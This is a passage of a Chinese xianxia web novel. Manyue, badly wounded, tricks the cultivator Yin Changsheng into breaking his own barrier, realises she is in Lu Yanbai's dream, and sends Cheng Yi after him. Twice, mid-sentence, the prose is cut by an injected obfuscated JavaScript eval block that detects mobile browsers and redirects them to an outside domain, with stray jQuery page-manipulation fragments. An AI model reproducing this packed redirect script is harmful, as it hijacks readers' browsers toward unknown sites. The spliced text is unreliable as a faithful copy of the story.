云华道人连一个多余的眼神都懒得施舍。她在他眼中,就如同路边随处可见的蝼蚁一样,随时可以一脚碾死,也就失去了猎杀的乐趣。 云华道人带着小团子转身欲走,却有一股微弱但异常顽固的力量阻碍了他的行动。 他转头,才发现是那个还没死透的小妖怪。 她死死抓着小世子的胳膊,怎么都不肯松开。 云华道人意兴阑珊地弯了弯唇角,笑都懒得笑,刚要动手彻底了结,那小妖怪先开了口: “把他还给我。” 云华道人一愣。 “把他,还给我。” 满月一字一句,清晰无比地重复道。 先前那股愤怒,还是沉寂了下来,却化为了某种更坚不可摧的东西。 恨意。 一种对不公命运的恨意。 去他大爷的。 她小心谨慎,唯唯诺诺,一生惧怕行差踏错。 但是有什么意义呢?又换来了什么? 还是连想保护的人都保护不了。 曾经,过去,也是这样。 一次次,命运总是无情地夺走她所珍视的人与物。 所以她如履薄冰,与所有人保持着恰如其分的距离,不再主动接近任何人,仿佛这样也就不会再失去任何人。 可是无用。 终究无用。 云华道人眼底的漫不经心终于褪去,他像是第一次真正看清眼前这个弱小的妖怪,语调带着一丝荒谬的确认:“你说什么?” “我说。”满月自己也不知道从哪儿来的力气,她无视了全身碎裂的剧痛,扶着桥栏,极为艰难地站了起来。血顺着她的指尖,滴滴答答落在冰冷的桥面上,“把他还给我。” 她身形摇摇欲坠,目光却格外坚定。 云华道人彻底愣住了,下一刻,他弯起唇角,带着残忍兴味的愉悦笑容,饶有兴趣地瞧着眼前的小妖怪,宛如发现了一个稀有的玩物。 “我是不会让你带走他的。”冰冷的怒火燃烧在她的胸膛,她的眼眸平静深沉,如波澜不惊的大海。 曾经,她也对那些舍生取义的故事感到不屑一顾,认为那不可能存在。 可是为什么呢? 为什么她如此弱小无助,偏又如此愤怒不甘。 她不想认命。 就算死掉也无所谓。 满月用小团子落在她身边的那把利刃对准了云华道人,她静静望着他,远处的灯火摇曳在她的眼眸中,如同跃动的火苗,生生不息。 “有本事,你就杀了我。” 她道。 56. 056 曾经。 曾经也是这样。 清冷的夜风吹动她额前的碎发,满月看着眼前的人,心头被一种遥远而熟悉的情绪攫取。 那些被有意尘封的过往,再回想起来,仿佛已经蒙上了一层轻纱,像是过去了很久。 当时的情形与现在又有何不同。 他们这些上位者,高高在上目空一切。而她们这些下面的人或妖,在他们眼中就如同蝼蚁一样,生杀予夺,肆意妄为。 记忆中那个人的模样不知不觉与眼前的小团子合二为一。 这一次,她不会再什么都不做就任凭自己失去一切。 “你确实比我想的更有趣一点。”云华道人笑着,眼中闪烁着一种观察新奇猎物的兴致,“那就让我看看,你有没有这个能力。” 满月不语。 上元夜的风,还是那么冷,灌进她的衣衫,吹得猎猎而动。 她想她或许就要死在这里了。 那么,就来吧。 念头落定,手中紧握的匕首似乎感受到主人的心意,骤然嗡鸣。一生二,二生三,瞬间幻化出数道虚实难辨的重影,撕裂冰冷的空气,直刺向对面的云华道人。 云华道人站在原地动也不动。 凌厉的剑影甫一逼近他身边,顷刻间就消散无影,连让他抬手去挡的资格都没有。 云华道人挑了下眉。 那副模样好像在说“就这样?” 满月毫不气馁。她像是完全看不出两人差距似的,紧抿着毫无血色的唇,又一次凝聚力量催动匕首,发动着在对方眼中宛如儿戏般的进攻。 云华道人背着手,轻而易举化解她每一次用尽全力的进攻,始终不曾移动过一步。 反而是满月被反噬,鲜血顺着匕首蜿蜒流下,染红了刃身,她却恍若未觉。 她明明早就应该到了极限,可腕上的玉珠却微微发着烫,不知从何处而来的妖力源源不断涌入她的体内,支撑着她不知疲倦地负隅顽抗。 她只有一个念头。 坚持一下,再坚持一下。 只能要多撑一会儿都是胜利。 满月再一次划动妖诀,剑影向他袭去。 起初云华道人还觉得有点新奇好玩,时间一久,他看出她确实就只有这点本事,逐渐变得意兴阑珊起来。 呵。 虫豸就是虫豸。 他还以为真的会有什么惊喜。 云华道人索然无味,知道再周旋下去也只不过是浪费时间。 他不再给她机会,抬起手,只在虚空中轻轻一拂,临近他的数道剑影便骤然悬停,下一瞬,剑尖齐齐调转,裹挟着森然杀意,反扑向满月。 满月反应很快,她闪身躲避,虽然避开了大半,但还是有几道剑气擦着她的脸颊和手臂而过,血痕立时浸染开,痛得她闷哼一声。 血红在浅色的衣衫上格外醒目。 她进攻那么多次,他都毫发无伤,他不必费力,她就已经被打得快要站不起来。 实力的差距如同天堑。 小团子从旁目睹了这一切,他想冲上来帮她,却被阴影牢牢禁锢在原地,动弹不得。 不要。 不要再继续下去了。 可惜满月半点也没读懂他的心思,她很快从狼狈的姿态中调整过来,握着剑的手在抖,指节因过度用力而泛白,只有那双眼睛却亮得惊人,不仅没有被死亡的阴影所压制,反而像是被点燃了斗志般,仰头望向不远处的云华道人。 是的,她基本可以肯定,她的想法是对的。 满月压下这细微的喜悦,暗自祈祷不要被对方看出。 “你的勇气我很欣赏。”云华道人果然没有注意到她的这份异样,又或者说根本没把她放在心上。他语调懒散,带着一丝居高临下的嘲弄,“不过就到此为止吧。放心,我还蛮喜欢你的,会让你死个痛快。” 满月擦掉嘴角的鲜血,事到如今,仍是没有一丝一毫的退却。 她弯眼笑起:“那也得你能做得到才行。” 云华道人扬了下眉,似乎也没想到死到临头她还这么嘴硬。 确实是个有趣的孩子。 若放在平时,他或许可以考虑收她做弟子,用她来做死气的容器。 可是偏偏是今日。 今天不能出任何差错。 带着一丝若有似无的惋惜,云华下了杀招。 四面的碎石浮空而起,向她袭去。 满月十指翻飞划动妖诀,一面继续不死心地放出剑影,一面极快地闪躲着。 云华道人早没了兴致,只想速战速决。他心念微动,飞石又快又准,轨迹极为刁钻,几乎封锁了她所有闪避的空间。 砾石砸在她身体的每一处要害。 满月却仿佛一点都不知道痛,被击倒,就站起,再一次被击倒,再一次站起,仿佛永无休止。 任凭谁都看得出,这是必死之局。在巨大的实力差距面前,她所有的坚持都显得苍白可笑。 云华道人在戏弄她。 小团子紧紧闭上了眼,手中的铜钱硌得他生疼,他已经不忍心再看下去了。 满月身上的衣衫早被浸成了血衣,脸上也没有一处完好的,手臂可见白骨,皮开肉绽,鲜血淋漓,整个人都快不成人样。 可她还没有倒下,不知第几次,她又挣扎着艰难站起,无比固执地拿着匕首对准了云华。 云华终于有点烦了。 不得不承认,他多少还是低估了她,这个小妖怪虽是不强,却是难杀,真不知这股韧性从何而来。 云华摇摇头,他原本不想把动静搞得这么大的,以免引来不必要的麻烦,但现在嘛—— 算了。 破例一次。 他并指如剑,指尖灵光一闪,一张流转着刺目金光的符箓凭空浮现。 “够了。”他勾起嘴角,轻笑着,像是在说一件微不足道的小事,“去死吧。” 来了! 满月心如鼓擂,几乎要破膛而出。 她等的就是这个! 强忍着全身撕裂般的剧痛,满月集中起所有注意力。 成败在此一举,只要能将这致命的一击,引向那个特定的地方—— 刺目的金光骤然爆发,符箓化作无数卍字金刃,带着切割一切的锐利锋芒,交织成一张密不透风的网,向着满月迎头砸去。 躲不开了。 这个念头出现的瞬间,满月用尽全力在周身展开一道幽蓝屏障。 那道屏障微弱如风中残烛,与云华道人的金光形成鲜明对比。 一声轰鸣。 金光吞噬了幽蓝屏障,地面被生生凿出一个直径数丈的巨大深坑,漫天灰尘荡起,如同厚重的帷幕,遮天蔽日。 这下应该死透了。 云华漫不经意地下了定论。他连确认都懒得确认,径直转过身,扫了眼一旁低下头同样陷入绝望的小团子,正要带他走,身后却传来一个声音。 一个微弱,但确实存在的声音。 “别……走。” 云华脚步一顿。 尘埃渐渐落定,视野重新变得清晰。 深坑边缘,一个残破不堪的身影极其缓慢地显露了出来。 她屈膝半跪在地上,靠着身前插着的那柄匕首才勉强没有倒下。 好疼啊。 满月想。 她这么怕疼的一个人,竟然也会有这么一天。 这真不像她。 她早该认命滑跪了的,怎么会拼命坚持到现在。 云华道人脸上的笑容彻底凝固,随即如面具般剥落。 取而代之的,是毫不掩饰的厌烦倦怠。 真烦人。 他眼中杀意炽盛。一股比之前更加恐怖的力量在他掌心汇聚。 他要用最直接的手段,将这个碍眼的麻烦彻底抹除。 然而就在这时,整个空间毫无征兆地剧烈晃动起来。不知何故,脚下的土地像是海浪般起伏不定,四周的景物开始扭曲,头顶这片笼罩着大地的夜幕,如同被砸碎的镜面,瞬间布满了蛛网般细密的裂痕。 云华停下了动作,脸上头一次出现了不可置信的错愕。 尽管只有一瞬。 满月的心砰砰直跳。 事到如今,她只有种想哭的冲动。 终于等到了。 饶是云华也没察觉到她的意图。 一开始满月就发觉了不对劲。石桥上明明闹出这么大动静,数步之外的长街市集却依旧灯火阑珊一片祥和,仿佛两个互不干扰的世界。她那时就猜到,云华道人在四周布了结界。 这里是盛京,原著中曾提到过京中两大修士势力,除妖司和玄都观,虽然不知道织梦兽构造的幻境能不能完全对应得上原著,但看云华这么小心,想来他并不是真的全无顾忌。 如果能够破坏结界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097185|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,引来城中玄都观或者除妖司的人,他肯定跑不了。 每一次她看似徒劳无功地放出的剑影,并不是真的为了伤到云华道人,而是借以剑气,感知结界的边缘。 她也确实很快就找到了结界之中灵力流转最为薄弱的一点。 她清楚单靠自己是无法破坏结界的,所以故意沿着结界边缘,利用云华道人的袭击她的力道,一次又一次撞击到结界上。 结界真的如她所愿破开了一道微弱的间隙,她用幻术偷偷掩盖,心里却笃定,只要有人监视着城中的动荡,就一定会发现他们。 她其实并没有抱太大希望,但这已是她唯一能想到的方法了。 没想到,真的成了。 满月笑了起来。 她还是头一次笑得这么畅快。 那笑容在她染满鲜血的脸上绽开,带着一种近乎癫狂的释然和惨烈的畅快,平添了几分妖异。 “我赢了。”目光从头顶虚假天空的裂纹下移,满月平静地瞧向云华道人。 云华道人的脸色极差,他终于洞悉了她那看似愚蠢抵抗背后的真正意图,可惜为时已晚。 一股被蝼蚁愚弄的暴怒在心间翻腾,他看着她:“你疯了?” 满月点点头,一脸的无辜:“是的,我疯了。” 她是在赌。 赌他过于傲慢自负。 赌他骨子里对下位者天生的轻视。 赌他根本懒得去关注她究竟在做什么。 他不会想到,一个被他视为蝼蚁随意戏弄的猎物,竟然有胆量去这么做。 诚然这是伤敌一百自伤一千的做法,稍有不慎,可能还不等引来外界的注意,她就可能先殒命于此。 可是那有什么关系呢? 最重要的是,她已经赌上了自己的命。 她知道,凭着她的力量是无法撼动,只有以身入局,置之死地,至于后不后生都无所谓了。 她拖了这么久,早就不打算活下来,她只是想让他死。 虽然这只是织梦兽的幻觉,但又有什么所谓呢? 反正她横竖都活不了了。 她从来不是什么安分的人,以前不过是为了生存不得已,现在怎么做都是死局,她自然也没什么好怕的了。 想着,满月看了眼离她不远的小团子。小团子被黑影紧紧束缚着,他望着她,与当初满月头一次见到他时,无悲无喜的木然极为不同,他望着她,眼睛里盛满了她看不清的情绪。 至少,在这片幻境消失之前,她能在最后给他一点微薄的希望。 满月重新瞧向云华道人,她整张脸都是血,粘稠的鲜血滴滴答答落下来,黏在睫毛上,视线也渲染成一片红色。 她学着云华道人之前的模样,露出一个充满挑衅和嘲弄的笑容,一字一句清晰无比地说道: “和我一起死在这里吧,人渣。” 云华道人自小就被称为不世出的天才,从来只有他高高在上肆意愚弄旁人的份,何曾被人戏弄到这种地步。 心底的杀意彻底被点燃。 他身形一晃,速度快到只在原地留下一道模糊的残影,便已近至满月身前。 五指成爪,带着凛冽的杀意,云华道人直取她喉咙。 他要彻底碾碎她。 满月知道能做的都已经做了,到了这一步,她并没有预想中的害怕,反而有种奇异的平静。恍惚间她像是回到了过去,回到了还在三危山的时候,她无能为力保护的朋友离她如此之近。 我已经很久没有梦到你了。 满月想。 自从刻意选择遗忘后,她已经很久不曾记起她,记起以前发生的那些事。 活着的人才是最痛苦的。 满月静静待在原地,迎接着必死的结局。 可就在云华的手即将碰到她的一刻,她腕上的玉珠忽然大亮。 幽蓝光辉如同清冷月光,向四周弥漫开来。 一轮圆月之印在满月眉心若隐若现。 满月被这亮光刺得闭上了眼,等再睁开时,云华道人的胳膊已经生生被削去一半。 不仅是云华,就连满月也被这突如其来的变故惊到了。 这已经不知道是玉珠第几次救了她。 与此同时,另一个好消息接踵而来。 结界终于被彻底从外面破开。伴随着清越笛声,结界边缘如同水纹波动,顷刻间散去,露出了周遭的本来模样。 57. 057 长街的灯会早就被清了场,蓝衣弟子站在结界之外,看着这熟悉的衣服,满月终于放了心。 是玄都观的人。 云华道人扫了眼四周,知道已成看定局,便也不再恋战。他瞧着满月冷哼了一声,地面上的阴影向着他迅速聚拢而来,下一瞬,阴影将他和小团子吞没,他们就这样消融在了阴影中。 满月怎么也没想到云华还留着这一手。她错愕不已,伸手想要抓住他,自己却彻底撑到了极限。 好痛。 全身上下仿佛散了架一样地痛。 另一边的阴影却融入大地的深处,消失无踪。 云华道人是低估了她,但她也低估了云华道人。她万没想到,在这种情况下他还能逃走。 不甘,愤怒,怨恼,痛苦,无能为力……无数复杂的情绪纷至沓来,击溃了她最后一道防线。 可恶。 满月伏在地上,紧咬牙关,眼泪却还是不受控制地倾泻而出。 明明不想哭的,但是……太痛了。 不止是千疮百孔的身体。 她付出了这么多,差一点就葬送了自己的命,赌上一切却只换来这样一个结果。 她还以为真的能够留住他。 为什么她倾尽全力才能做到的事,换一个人却如此简单? 不公平。 太不公平了!! “好了好了,你已经做得足够好了。”一个声音从头顶传了过来,温柔又爽朗。 有人摸了摸她的头,掌心的温度由此传递而来。 满月一面止不住抽噎着,一面抬起头。 但当她看清来人后,险些惊得叫出声。 程,程南楼?! 满月呆住了,眼泪定格在此处,心头郁结的情绪顿时被驱散开,只剩下深深的惊讶与诧异。 不对,不是程南楼。 满月用被血浸染的袖子擦去眼泪,只为了看得更清楚一些。 不是程南楼,但眼前的女子确实和他有九分相像,尤其是清秀的眉眼,只是相比于程南楼还略带些青涩的少年气不同,她更显沉稳大气,温润如玉,就像……兰花一样。 一个不可思议,却又万分笃定的念头出现在满月的脑海。 “程……衣?”她一瞬不瞬盯着她。 女子怔了下,继而笑起来:“哟,你知道我的名字?” 真的是程衣。 程南楼的阿娘。 那个早就死在多年前妖邪之乱的人。 天旋地转,一时之间满月忘记了所有的言语、想法、念头。她呆呆地望着眼前的人,泪珠挂在长睫上,久久回不过神来。 “小妖怪,你的骨头都快断掉了。”程衣屈膝半蹲着,她又揉揉她的头,有些稀奇地打量着她,“真了不起。你是从哪儿冒出来的?竟然能撑这么久,我可从未在城里见过你。” 她讲的话满月一句也听不进去,她瞧着程衣,脑子只有一个声音在不断复诵: 程衣还活着。 程衣还活着。 程衣还活着。 那么这个梦境,这个梦境…… 满月觉得自己快要呼吸不上来,就像被人强行按着进入水中,周遭的嘈杂俱被隔绝在外。 只有无数支离破碎的片段涌入她的脑海。 乍看之下这些碎片串联不起来,却在无意中拼凑出一个她无法想象,也无法面对的真相。 如果她是程衣的话,那么…… “那个人……是阴长生吗?”她的声音沙哑,细听之下,有些微微的颤抖。 程衣点了点头,讶异道:“你竟然也知道他?你到底是谁?” 满月却仿佛失了魂魄般,整个人都瘫软下来。 程衣。 阴长生。 王府。 小世子。 一切的一切。 她终于知道了。 她究竟在什么人的梦境之中。 “怎么会这样……”满月神魂涣散,视线失去了焦点,“怎么会这样……” 可是,可是不应该啊。 原著中提过,织梦兽只会收集已死之人的梦境。他又没有死,她怎么可能进入他的梦? 不可能,不可能! 可是……可是…… 小团子身上的那些疑似阴煞啃噬造成的伤,他不同寻常的治愈能力,再加上阴长生…… 满月彻底陷入了崩溃之中,她抱着自己的头,浑身剧烈发抖。 程衣见她状况不妙,轻蹙了下眉,执起她的手查看,却是触及一片冰冷。 陆宴白。 那三个字还是浮现了出来。 这个满月不愿意,又不得不正视这个可怕的事实。 这是陆宴白的梦。 小团子就是陆宴白。 陆宴白就是小团子。 这是连原著都没有详细提及过的,他的过往。 如果是真的,她终于知道这是什么地方,又将会发生什么。 妖邪之乱。 原著一切事情的源头。 所有人命运的起点。 满月有预感,这个梦境已然快到了头。小团子又一次骗了她,他的心愿并非是看灯,而是…… “救救他。”满月抬起头,不知不觉间,她已是泪流满面,“我知道阴长生带着陆……带着杀印去了哪里。” 听到杀印两个字,程衣神色瞬间严肃起来,看着满月的眼神也多了几分警惕。 知道她,知道阴长生,尚且情有可原。但是杀印,整个玄都观知晓内情的都凑不够三个,一个来历不明的小妖怪又怎会知道这么隐秘的事。 程衣盯着她,身后街灯落进她眼眸之中,闪烁着,晦暗不明。 “相信我。”满月望着那个与程南楼极为相像的人,语气中罕见地带着卑微的恳求,“求求你了,只有你能阻止他……” 程衣看着眼前狼狈不堪的小妖怪,神色很是复杂。片刻,她回头瞧了瞧身后严阵以待的玄都观弟子,深吸一口气。 “好。”她道,“我相信你。” * 阴长生。 再提及这个名字,满月只有种不真切的感觉。 如果以前有人告诉她,她有天会与阴长生周旋这么久,还差点赢了他,她肯定会觉得那是痴人说梦。 怎么可能。 那可是阴长生。 原著里唯一一个与陆宴白实力相当的人,在前期他甚至隐隐压着陆宴白一头。只不过相比于完全是个疯批、什么都不放在心上陆宴白,阴长生还是有所挂碍,所以被牵制,中期就被陆宴白亲手杀掉了。 满月那时就在想,如果他能活到后期,主角团也许根本没有赢的胜算。 除此之外,阴长生还是贯穿全文的核心人物,很多事情虽然不是他由他所愿,但却是因他而起。 就比如,程南楼和陆宴白两个人命运的转折点。那场震动整个盛京,威力延续了其后十几年仍然不间断,在原著中反复被提及的妖邪之乱。 十多年前,盛京发生过一场死气暴乱。没记错的话,正是发生在上元节,阴长生在城中投放了大量的阴煞,死伤无数,甚至差点杀了城墙上与民同乐的老皇帝。 他这么做的原因,并不是单纯想要制造混乱。而是为了借此激发杀印,打开传说中的前代妖王陨落之地——引魂渊。 没错,陆宴白就是那个杀印。 杀印是原著中的一个设定。用人话来说就是命中注定引来无数的杀戮和灾难的不祥之物。 前任妖王就是杀印转世。他陨落后,杀印沉寂百年,不知所踪。 所以陆宴白不怕命魂珠和死气。 因为他就是从死气之中诞生的……怪物。 不过杀印并不会一开始就觉醒,是需要大量的痛苦和死气才会被激发。 难怪云华会那样折磨他。 他要的就是他的痛苦,甚至他越痛苦,越有利于被激发。 一旦杀印被激发,以陆宴白现在的状态根本无法承受,彼时死气横溢,整个盛京都会被吞没殆尽。 原著里,正是程南楼的阿娘程衣在关键时刻阻止了这场灾难,但她也因此葬身于此。妖邪之乱就像无数故事中都有的那个核爆原点,一切的起源点,后续发生的种种,都能追述到那一晚。 程南楼会在这场祸乱中失去他的母亲,陆宴白则会在千钧一发的关头被程衣救下,两个人都被封锁了这段记忆,托付给行藏道人照料。 命运的齿轮将从这里开始转动。 想到这里,满月没忍住看了眼身边的人。 程衣的性格和程南楼还是有所不同的,相比于后者不合年纪的早熟,程衣要更为爽朗一些,虽然这时的她已经经历了痛失挚爱一系列的事情,但眉宇之间却没有丝毫的苦大仇深,有的只是刻在骨子里的洒脱与从容。 是的,按照原著来说,她会死在这里。 尽管知道这只是个存在于过去的幻境,满月还是感到深深的愧疚。 阴长生和后来的陆宴白一样,都曾是玄都观久负盛名的天才,而程南楼的阿娘程衣是他的师妹,也是同期唯一一个与他并驾齐驱享有盛名的人物,仿佛天降双子星。 单论天赋,两人不相上下,性格却是天差地别。阴长生自小孤僻冷漠,只关心自己的事。程衣却从小活泼开朗,与无数人交好,亦成了无数人深埋心底的白月光。 这样好的一个人……满月却在推动着她走向她必死的结局。 “你在紧张?”程衣察觉到她看着自己,笑着回头瞧她一眼,“别害怕,有姐姐我在呢。” 满月的心却因为这温柔的安抚骤然紧缩了一下。 她慌忙低下头,既是不熟悉被这样温柔地对待,又是因为深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109463|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重的负罪感。 满月有点难过。 她没办法帮到现实中的程南楼,还要在幻境里害了他的阿娘。 满月很清楚,她这么做并不是为了任何人,单纯是为了她自己。 之前发现是妖邪之乱那一刻,求生的欲望就大过了一切。 她知道,他们都只是被困在幻境一隅的虚影,早就不复存在。 但她还活着。 她想要活下来,她想要离开这个困住她的幻境。 唯一的方法是得到梦境之主的梦种。 所以在她抬起头哀求程衣的时候,她就下定了这个决心。 满月将自己知道的都告诉了程衣,程衣安排了玄都观的弟子留守盛京各处,以防她所说的阴煞作乱,自己则没有带其他人,只带着她,用玄都观压箱底的神器仙舟,和她寻找着阴长生的踪迹。 满月记得原著中提到过,妖邪之乱最开始是发生在城郊一处破庙里,程南楼的阿娘正是死在那里,他每年私下里都会去祭拜。 阴长生十有八九会躲藏在那处。只是盛京太大,周遭荒废的破庙数不胜数,要找起来,真不是一时半会能够轻松做到的。 程衣没有问满月她是怎么知道这么多禁忌之事,也没有怀疑她。她说相信她,就是真的毫无保留地相信她。 满月趴在仙舟边缘,下颌抵着手臂,目光空洞地投向下方,盲目地寻觅着阴长生的踪迹。 寻找的时间愈久,她的心绪就愈加低落。 在之前的打斗中,她连骨头都碎了,是程衣替她一一疗愈的。不仅如此,她还趁着找人的工夫教给了她玄都观一些简单的法术,让她用以防身。但是她对她越好,那种负罪感就越如同附骨之疽,难以摆脱。 就在她陷入内疚不可自拔之时,眼前的视线突然被一片血红之色所占据。 满月回过神来。 仙舟不远处的下方,一片密林之间,妖异粘稠的血红之气铺天盖地其笼罩,生生与旁边隔绝出一个独立的空间。 找到了。 “这里!”满月道。 血红之气如同血海翻涌着,浓郁到化解不开。 程衣也看到了。她掐诀,放慢了仙舟的前进速度。 随着临近那片禁制之地,仙舟面临的阻力越来越大。 程衣耐心操纵着仙舟一点点靠近,咫尺之间安然无恙落了地。 舟身停止的刹那,满月的心也跟着沉到了谷底。 她很清楚接下来会发生什么。 “那我们就按之前说的办。”程衣道。不知何故,她总觉得眼前的小妖怪很亲切,大概是因为有眼缘,“一会儿我会破开禁制入内,我去拖住阴长生,你见机行事。” 满月颔首。 “虽然我也不清楚你是什么来历,但是我看得出你是一个好孩子。”程衣将一叠符纸递给她,“如果不行的话,不必逞强,你先离开。我会按照你说的来处理。” 满月没忍住又想哭,她咬着唇,艰难地应了一声。 交代完这些,程衣刚要走下仙舟,却忽然被人从身后抱住。 程衣一愣。 是满月抱住了她。 满月的脸埋在程衣身上,呼吸间是她好闻的气味,心头的重压终于是不堪重负。 满月还是没忍住哭了出来。 好没用,今天哭了多少次了? 可她停不下来。 自从来到这个世界,她得到的善意并不算多,只不过与程衣短暂的相遇,她却感知到了很久没有过的安心。 她太害怕了。 真的太害怕了。 从来到这个世界起,没有一天不由衷地感到害怕战栗。 任何人都能够像碾死一只蚂蚁一样碾死她。而且她很清楚,如有必要,那些人会这么做的。 因为这个混乱的世界就是这样,弱肉强食,胜者为王。 但是在程衣身上,她却久违地感受到了秩序、安全与平静。这是在这个世界稀有,却在她前世司空见惯的东西。 对不起。 她想。 “如果你会死……”满月极力压制下自己暗潮汹涌的情绪,“如果你会被阴长生杀了怎么办?你打不过他的……” 程衣闻言笑了起来,她转过身,从正面给了满月一个大大的拥抱,安抚孩子一样安抚她:“放心吧,阴长生没我厉害。” 满月哽咽着没有说话。 “我一定会打赢他的。”程衣的语气中有着某种笃信,“就算……也没关系。你不用为此自责。” 满月猛然抬头,迎上的,却是程衣澄澈如明镜的眼眸。 她竟然知道她在想什么。 “好了,时候不早,再耽误下去可就说不定咯。”程衣放开她,她摸摸她的脑袋,“我走了。” 言罢,程衣转身离开。 这一次,她没再回头。 58. 058 阴长生负手站在密林中心的一片空地上。 不远处火光映天,他知道是自己留在城中的阴煞开始行动了。 那里终将会沦为一个布满死气的兽笼,所有人都被困在其中,做着无谓的困兽之斗。 他眼中没有丝毫谋划得逞的喜悦,只有纯粹对自己艺术的欣赏。 这是他多年来心血铸就的作品,最完美的作品。 本来也该是最完美地呈现,可惜,还是出了点岔子。他对那个来历莫名的小妖怪多少还是低估了,差点真的被她耽误他的计划。 好在他脱身的还算及时。 阴煞已经被放了出来,城中现在死气横溢,只要等待杀印激发,他就可以打开那个只存在于传说中,还不曾有人踏足过的妖王陨落之地,引魂渊。 一想到引魂渊,阴长生心间的愉悦简直快要满溢而出。 这世间能让他如此感兴趣的事,只有死气。 他生来就是远高众人的天才,大概是一切都得来的太过容易,他很早就对这个世界厌烦倦怠,直到无意中接触到死气,头一次,在枯燥乏味的生活里他有了活着的感觉。 那时来自心底的雀跃,让他至今难以忘怀。 可惜世人庸常,只忌惮那点微不足道的危险,却丝毫无法体会其中暗藏的无穷奥秘。 两年前他私下接触死气被发现,因而不得不离开玄都观。为了躲避同门的追杀,他隐姓埋名,甚至冒着巨大的风险用死气换了张脸。不过这些都不能阻止他继续研究死气。 好在皇天不负有心人,逃往一个隐秘的山洞时,他误打误撞找到了留在这里的玄云录。玄云录普通人拿到手里,不过是本无用的无字天书,只有动用死气,才能破解里面的秘密。 也是从这本书中,阴长生得知了命魂珠,得知了杀印,得知了引魂渊。 引魂渊,传闻中前代妖王陨落之地。百年前妖王死在了引魂渊,他庞大的妖力四散,形成了死气。一部分死气经由命魂珠问世人间,另一部分则被封存在他葬身之地,永不见天日。 太可惜了。 引魂渊究竟是什么地方,随着百年前参与过绞杀妖王的修士逐一故去,成为了当今最大的谜团。有传言说,引魂渊是地下深渊,早就沙沉地底,不可能再现。也有人讲引魂渊只是暂时被那些前辈封印了起来,一旦条件具足,就会有重返人间的可能。 而玄云录中,恰好就记载了开启引魂渊的方法。 引魂渊的开启需要杀印引路。杀印轮回有周期,亦被记录在玄云录内,掐指一算,新一轮的转世,就在当今。 阴长生永远也忘不掉那一天。山洞隐匿在半山腰,上面的积水留下来,形成瀑布,将此处与别处相隔。他在彻底破解完书中的隐秘后,抬头往向了外面,透过水帘瀑布,望向山河。 这世间,果真是因他而存在。 要不然为何恰巧是他对死气感兴趣,又为何恰巧是他得到了玄云录? 身后有脚步声传来,阴长生从过往的记忆中回过神,他没有回头,却已知来人是谁。 程衣在他几步之遥的距离停下。 阴长生转过身,他已经卸下了属于云华道人的伪装,露出了自己原本的相貌。这是个原本眉眼生得极为俊秀的青年,现在却肤色苍白得不似活人,最令人触目惊心的,是一道狰狞的旧伤疤,如同丑陋的蜈蚣,从左侧额头蜿蜒爬过紧闭的左眼,一直撕裂到嘴角,深深刻印在皮肉之中。 “师妹,你终于来了。”阴长生笑着,眼中没有丝毫的意外。 程衣却冷漠而戒备。她握紧了手中的白玉笛:“你好像一早就知道我会来。” 阴长生笑了:“我知道你能找到我。而且只有你能找到我。” 言罢他回过身:“这世间只有你能懂我,因为只有你能看见我看见的东西。可惜你被那群愚人所累,对死气和我都误解太深。” “我来不是听你讲这些废话的。”程衣发带飘扬,她用手中的白玉笛指着他,“要么你停下你在做的事,要么我就杀了你。” 阴长生弯起眼,笑意愈深:“你还真是老样子,死不悔改。” “还是改了一些的。”程衣脸上没有一丝笑容,“你杀掉他的那一刻,我就不再把你当做我的师兄了。” 阴长生挑了下眉:“他配不上你,你也不该浪费时间在这种庸人身上。我是在帮你。” 他慢条斯理,讲得极为认真,好像真的是为了她好,然而落在程衣耳中却不啻于挑衅。 程衣不再与他废话,月光透过稀疏的枝叶,在她清冷的侧脸投下斑驳的光影,她将白玉笛横在唇边,笛声一动,无形的力量在林中激荡开来。 “我不想杀你。”阴长生瞧向她,嘴角似乎勾起一丝带着怜悯又混杂着戏谑的弧度,“但是你,当真杀得了我吗?” 语毕,他的身影即刻融入暗影之中。下一瞬,厚厚腐叶覆盖之下几只阴煞破地而出,这些邪祟之物没有五官,周身翻腾着不详的黑气,它们发出尖啸,如离弦之箭,猛地扑向程衣。 程衣向后退了一步,一个漂亮的旋身躲过一击,屏障立时在身前展开。 她手中的白玉笛纹丝不动,只是加快了十指翻飞的速度,笛声连绵成片,化作一阵阵肃杀的旋律。 阴长生的身形被探了出来。他不慌不忙躲过灵气的进攻,将指间的鬼矢齐齐发了出去。 程衣足尖轻点,同样轻而易举避了过去。 两人打得有来有回,闪避进攻间,越来越深往密林深处的方向。 笛声,阴煞的尖啸,鬼矢撕裂空气的锐响,如同投入深潭的石块,激起一圈圈无形的涟漪,远远扩散开。 另一边,一道身影骤然停住了脚步。 满月细细听着那动静逐渐远去,确认其中无诈,才将目光投向了不远处的破庙。 按照先前商定的,程衣会将阴长生引入密林之中,而满月则趁此机会去救出陆宴白。 为了不被阴长生有所察觉,她与程衣相隔一阵才进入了血红之雾。禁制的雾气很大,遮天蔽日,她险些在五里雾中迷失了方向,好在还是有惊无险找了过来。 满月很清楚她有且只有一次机会。一旦阴长生察觉到这里有异动,肯定会不顾一切赶过来。 到时她和程衣加起来都不是他的对手。 